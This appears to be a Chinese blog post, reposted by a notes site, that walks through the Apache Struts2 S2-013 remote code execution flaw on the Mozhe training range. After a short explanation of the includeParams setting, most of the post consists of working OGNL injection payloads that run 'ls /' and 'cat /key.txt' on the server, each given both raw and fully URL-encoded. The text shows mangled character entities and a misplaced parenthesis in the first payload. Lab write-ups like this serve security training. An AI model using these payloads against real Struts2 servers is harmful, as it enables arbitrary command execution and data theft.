详情_墨者靶场ApacheStruts2远程代码执行漏洞(S2013)复现

篇首语：本文由编程笔记#小编为大家整理，主要介绍了墨者靶场 Apache Struts2远程代码执行漏洞(S2-013)复现相关的知识，希望对你有一定的参考价值。

漏洞详情&＃xff1a;

关于漏洞详情可以查看这篇文章&＃xff1a;S2-013

struts2的标签中 和 都有一个 includeParams 属性&＃xff0c;可以设置成如下值&＃xff1a;

1. none - URL中不包含任何参数&＃xff08;默认&＃xff09;
2. get - 仅包含URL中的GET参数
3. all - 在URL中包含GET和POST参数


当includeParams&＃61;all的时候&＃xff0c;会将本次请求的GET和POST参数都放在URL的GET参数上。

此时 或尝试去解析原始请求参数时&＃xff0c;会导致OGNL表达式的执行

1.构造POC&＃xff0c;使用ls /查看文件

$#_memberAccess["allowStaticMethodAccess"]&＃61;true,#a&＃61;&＃64;java.lang.Runtime&＃64;getRuntime().exec(&＃39;ls /&＃39;).getInputStream(),#b&＃61;new java.io.InputStreamReader(#a),#c&＃61;new java.io.BufferedReader(#b),#d&＃61;new char[50000],#c.read(#d,#out&＃61;&＃64;org.apache.struts2.ServletActionContext&＃64;getResponse().getWriter(),#out.println(&＃43;new java.lang.String(#d)),#out.close()
URL:

%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%6c%73%20%2f%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%64%29%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%7d


2.查看key.txt

$#_memberAccess["allowStaticMethodAccess"]&＃61;true,#a&＃61;&＃64;java.lang.Runtime&＃64;getRuntime().exec(&＃39;cat /key.txt&＃39;).getInputStream(),#b&＃61;new java.io.InputStreamReader(#a),#c&＃61;new java.io.BufferedReader(#b),#d&＃61;new char[50000],#c.read(#d),#out&＃61;&＃64;org.apache.struts2.ServletActionContext&＃64;getResponse().getWriter(),#out.println(&＃43;new java.lang.String(#d)),#out.close()
URL:
%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%74%20%2f%6b%65%79%2e%74%78%74%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%64%29%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%7d